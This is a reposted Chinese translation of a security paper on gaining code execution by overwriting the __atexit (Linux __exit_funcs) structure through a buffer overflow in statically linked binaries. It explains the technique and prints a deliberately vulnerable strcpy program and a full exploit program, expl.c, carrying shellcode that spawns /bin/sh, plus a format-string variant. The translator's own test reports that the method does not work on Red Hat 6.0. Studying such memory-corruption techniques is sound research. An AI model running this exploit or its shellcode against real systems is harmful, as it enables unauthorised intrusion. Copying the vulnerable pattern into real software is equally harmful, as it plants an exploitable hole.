[轉]通過覆蓋__atexit進行緩衝區溢出攻擊

 
[轉]通過覆蓋__atexit進行緩衝區溢出攻擊

原作者: Pascal Bouchareine <[email protected]>
原文: <<__atexit in memory bugs -
specific proof of concept with statically linked binaries and heap overflows>>
翻譯整理:alert7 <[email protected]>
主頁: http://www.xfocus.org/

譯者注:這片文章可能很早就出來了,我看國內也沒有人介紹,乾脆就
翻譯出來一塊兒共享吧,如有什麼錯誤的地方,歡迎指正。
mailto:[email protected]

介紹:
本文討論了類似通過覆蓋.dtors進行緩衝區溢出攻擊的技術。歸根結底
是想方設法改變程序的執行流程,使之最終執行我們想要執行的代碼。本文
假設讀者熟悉普通的緩衝區溢出技術。


鳴謝:
感謝Andrew R. Reiter看了這片文檔,糾正一些錯誤。


內容:

I. atexit()的基本知識
II. atexit()的執行
III. Exploitation的概念
IV. Eggshell的定位
V. 一個exploit的例子

I. atexit()基本知識

先讓我們看看手冊:

NAME
atexit - 註冊一個在exit時候被調用的函數

SYNOPSIS
#include <stdlib.h>

int
atexit(void (*function)(void))

DESCRIPTION
atexit()函數註冊一個給定的函數,該函數在程序exit時候被調用
(不管是通過exit(3)或者還是通過從程序的main函數中返回)。
註冊的函數是反序被調用的;沒有參數。至少32個函數總是可以被註冊
的,只要有充分的分配的內存,更多的函數也是允許的。

看看下面程序的基本指令:

char *glob;

void test(void)
{
printf("%s", glob);
}

void main(void)
{
atexit(test);
glob = "Exiting./n";
}
當執行時,應該在標準輸出上顯示"Exiting" .

II. atexit()的執行

atexit是做爲libc函數導出的。
執行過程使用了一個靜態的atexit結構,該結構包含了那些在退出時候被
調用的函數的一個數組,在調用atexit函數的時候會插入一個結構(我們
將稱它爲"fns"),在fns中有一個變量保存着下一個空的索引(我們稱
它爲"ind"),當fns滿的時候,一個指針(我們稱爲next)指向了下一個
被使用的atexit結構.

struct atexit {
struct atexit *next; /* next in list */
int ind; /* next index in this table */
void (*fns[ATEXIT_SIZE])(); /* the table itself */
};

當atexit()被調用時,它填充fns[ind],增加ind,這時ind就是下一個在fns中空的索引。
當fns滿的時候,一個新的atexit的結構被分配,並且它的next變量指向了最後
被使用的那個。

注意:一般atexit的使用的是不需要next的,它在初始化的時候被設置爲
NULL。

當exit()被調用,它分析最後定義的atexit結構,並且執行在fns[ind]中的
函數,減少ind,依次執行。

當exit()被調用的時候,需要查看一些退出函數,然而,atexit()需要寫它,
atexit結構被分配是做爲一個全局符號的,(在*bds上是__atexit, 在linux上
是__exit_funcs), 並且導出給其他函數的。

譯者注:如果你第一次讀這片文章,你可能會忽視了atexit()和__atexit
(在*bds上是__atexit, 在linux上是__exit_funcs)的關係。
__atexit就是被atexit函數使用的一個內部變量,下面有個圖指
示了atexit()如何利用__atexit的。

III. Exploitation的概念

這部分不是很準確。需要依靠執行時候的內存映象,依靠你的OS,還受許多
其他的因數的影響。

我們首先要知道__atexit在內存中的分配地址,判斷那裏是可以重寫的地址。所以我
寫了個簡單的例子。

extern void * __atexit;

int main(void)
{
static char scbuf[128];
char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p/n", __atexit);
printf("malloced at %p/n", mabuf);
printf("static at %p/n", scbuf);
return 0;
}

編譯一下,有以下的結果:

pb@nod [405]$ gcc -o at at.c
pb@nod [406]$ ./at
__atexit at 0x280e46a0
malloced at 0x804b000
static at 0x8049660

pb@nod [407]$ gcc -o at -static at.c
pb@nod [408]$ ./at
__atexit at 0x8052ea0
malloced at 0x8055000
static at 0x8052e20


以上已經足夠說明問題了.可許你已經知道,動態編譯的版本是通過一個
mmap()調用來裝載libc庫函數的。 (0x280e46a0)現在看起來是我們不能修改
的, 但是靜態版本是可以的。

在靜態編譯的二進制中,libc被保存在程序的heap區,因此,__atexit的位置
在我們的靜態scbuf附近。在這個例子中,__atexit和scbuf相差0x80個字節。
它意味着他們是位置連續的。如果你瞭解heap溢出,構造它應該不是件很難的
事情。

在靜態的字符緩衝區後面構造自己的atexit結構,覆蓋__atexit變量,可以使
exit()執行在內存中的任何地方。比如執行我們的eggshell。爲了構造它,我
們需要明白atexit()是如何利用__atexit變量的,看下面類似gdb的輸出:

0 127 128 132 136 140
(an eggshell with nops) (next) (ind) (fns[0]) (fns[1])
0x90909090 ..... 0x00000000 0x00000001 0xbffff870 0x00000000

for (p = __atexit; p; p = p->next)
for (n = p->ind; --n >= 0;)
(*p->fns[n])();

第一種方法你可以使'ind'爲正值,比如上面圖使ind爲1,fns[0]爲
eggshell的地址,但是這樣構造出來的atexit結構中包含了'/0'。我
們沒有辦法使用。

第二種方法是使p->next指向一塊我們精心構造的atexit結構的內存。
我們僅僅需要使ind爲負的,可以不管fns的數組。

但是,我們到底如何找到那塊空間呢?

IV. Eggshell的定位

我要爲這件事幹一兩杯啤酒。

讀了execue的手冊和內核execve的執行過程,使我想起了我寫的第一個
c語言程序。我們知道,argc是參數的個數,argv是以null結尾的數組
(包含了以null結尾的字符串),envp是環境變量。一個正在執行的程序
要得到這些信息是容易的。
因此,在stack的頂部,一個 "vector table" 包含了這些信息當然還包括一些
其他的(例如信號掩碼)。讓我們看看在stack上的argv的存放:

0xbfbffb60: 0x00000000 0x00000005 0xbfbffc5c 0xbfbffc84
0xbfbffb70: 0xbfbffc8a 0xbfbffc8f 0xbfbffc92 0x00000000

在該例子中,argc是5。有5個指針指向5個argv元素。最後一個是以NULL結尾的。

上面看到的,使你想起那個atexit結構了嗎?:)


該圖完美的描繪了atexit的結構!ind=5,argv[4]是被調用函數的地址。所有
的工作準備就緒,但是還差點。我們只要猜測在stack上的 vector table的
正確地址就可以了,在__atexit->next填上該地址,在__atexit->ind填上負的,
這樣一切都OK了。

猜測argv[]的地址需要依靠你的OS。我看了一下/sys/kern/kern_exec.c,
讀了一下這個函數:

/*
* Copy strings out to the new process address space, constructing
* new arg and env vector tables. Return a pointer to the base
* so that it can be used as the initial stack pointer.
*/
register_t *
exec_copyout_strings(imgp)


這個函數解釋瞭如何計算argv的vector table地址,你的計算基於地址PS_STRING
(stack的基地址,less結構的ps_string大小),信號掩碼的大小,"SPARE_USERSPACE"
這個變量在我的freebsd上被定義256(可能這個變量被setproctitle()函數使用),和一些
其他複雜的東西。

爲了使用可移植的計算方法,我使用了下面自我調用的方法來執行argv[]。
首先,如果你要利用有問題的程序的話,你需要把條件都準備好。但是不能以
特殊的參數調用自己。在第二次調用時,argv應該正確的被定位,然後再調
用有問題的程序。

有了這兩個技術,我想你應該有了一個高效率的緩衝區溢出的方法,而不再需要
計算offset了。

譯者注:這種兩次execve技術很不錯,兩次execve出來的進程的argv的地址是
一樣的。所以就不需要猜測argv的地址了

注意:對於format bug來說,這個技術聽起來很強大。__atexit在exploit中
經常位於victim的相同地址。我猜想這是因爲mmap()分配地址是從固定的地址開始的。
正如一個傳統的format bug,你有如下一個字符串"AAAA%N$x%0Xx%n",這裏AAAA是
在你exploit中的__atexit的地址,N 是你想從重寫地址到stack的字節個數。X是argv[]
的猜測地址。

[post note:事實上這些已經是衆所周知的了,在phrack的雜誌中有提到]

同理,對緩衝區溢出的exploit來說,你有一個容易得到的固定的返回地址:調用自己
--egg應該在安放在環境變量裏-,然後調用victim egg的地址。

V. 一個Exploit的例子

Take the following vulnerable program :

extern void * __atexit;

int main(int argc, char **argv)
{
static char scbuf[128];
char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p/n", __atexit);
printf("malloced at %p/n", mabuf);
printf("static at %p/n", scbuf);

if (argc > 1)
strcpy(scbuf, argv[1]);
}

scbuf[]的大小爲128.我們需要craft下面的字符串:

offset 0 128 132 136
[XXXXXXXXXXXX..........][AAAA][BBBB][0...]

128個字節的X垃圾,AAAA是猜測的argv地址,BBBB是一個負的數字
(0xffffffff就可以了),然後最後的字節都被填爲0。

我們必須把eggshell作爲最後一個參數傳遞給有問題的程序。

假如程序有嚴格的檢查,我們討論的東西工作起來就會很困難。我們在這裏先不
討論這個,以後有興趣將做進一步的研究。

利用有問題程序,下面的exploit將產生一個shell:

--- expl.c -----------------8< (lazy indenting this. :) -------------

#include <stdio.h>


#define PROG "./vul"
#define HEAP_LEN 128

int main(int argc, char **argv)
{
char **env;
char **arg;
char heap_buf[150];

char eggshell[]= /* Mudge's */
"/xeb/x35/x5e/x59/x33/xc0/x89/x46/xf5/x83/xc8/x07/x66/x89/x46/xf9"
"/x8d/x1e/x89/x5e/x0b/x33/xd2/x52/x89/x56/x07/x89/x56/x0f/x8d/x46"
"/x0b/x50/x8d/x06/x50/xb8/x7b/x56/x34/x12/x35/x40/x56/x34/x12/x51"
"/x9a/xe8/xc6/xff/xff/xff/bin/sh";

/* Craft the first part of the chain, pointing to argv[].
** We need, of course, a negative value for ind, or the real
** atexit default will be called.
*/

memset(heap_buf, 'A', HEAP_LEN);
*((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 * sizeof(int));
/*爲了構造atexit結構*/

*((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;
*((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;

/*
** Build environnement. Argv[argc-1] is set to whatever
** eggshell you want. This, in a struct atexit context,
** will be executed by exit.
*/

env = (char **) malloc(sizeof(char *));
env[0] = 0;

arg = (char **) malloc(sizeof(char *) * 4);
arg[0] = (char *) malloc(strlen(PROG) + 1);
arg[1] = (char *) malloc(strlen(heap_buf) + 1);
arg[2] = (char *) malloc(strlen(eggshell) + 1);
arg[3] = 0;


strcpy(arg[0], PROG);
strcpy(arg[1], heap_buf);
strcpy(arg[2], eggshell);

if (argc > 1) {
fprintf(stderr, "Using argv %x/n", argv);
execve("./vul", arg, env);
} else {
execve(argv[0], arg, env);
}
}

-------- expl.c (eof)------------------------------------------


作者文章到此就結束了,以上作者是在freebsd測試的。
下面是我在red hat 6.0上面做的測試:
[alert7@ww alert7]$ uname -a
Linux ww.alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown
[alert7@ww alert7]$ cat vul.c
#include <stdlib.h>
extern void * __exit_funcs;

int main(int argc, char **argv)
{
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__exit_funcs at %p/n", __exit_funcs);
printf("malloced at %p/n", mabuf);
printf("static at %p/n", scbuf);
printf("mabuf at %p/n", &mabuf);
if (argc > 1)
strcpy(scbuf, argv[1]);
}

[alert7@ww alert7]$ gcc -o vul vul.c -static -g
[alert7@ww alert7]$ ./vul
__exit_funcs at 0x80778c0
malloced at 0x8079b60
static at 0x8078e40
mabuf at 0xbffffdc0

[alert7@ww 3779]$ cat maps
08048000-08077000 r-xp 00000000 03:01 14361 /home/alert7/vul
08077000-08079000 rw-p 0002e000 03:01 14361 /home/alert7/vul
08079000-0807a000 rwxp 00000000 00:00 0
40000000-40002000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0

在linux上,我們看到__exit_funcs地址是0x80778c0,可寫。靜態定義的scbuf的
地址爲0x8078e40,__exit_funcs在scbuf之前,所以想利用scbuf來覆蓋
__exit_funcs地址好象是不可能的吧。所以在linux上討論利用__atexit進行
緩衝區溢出的攻擊也是失去了意義。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章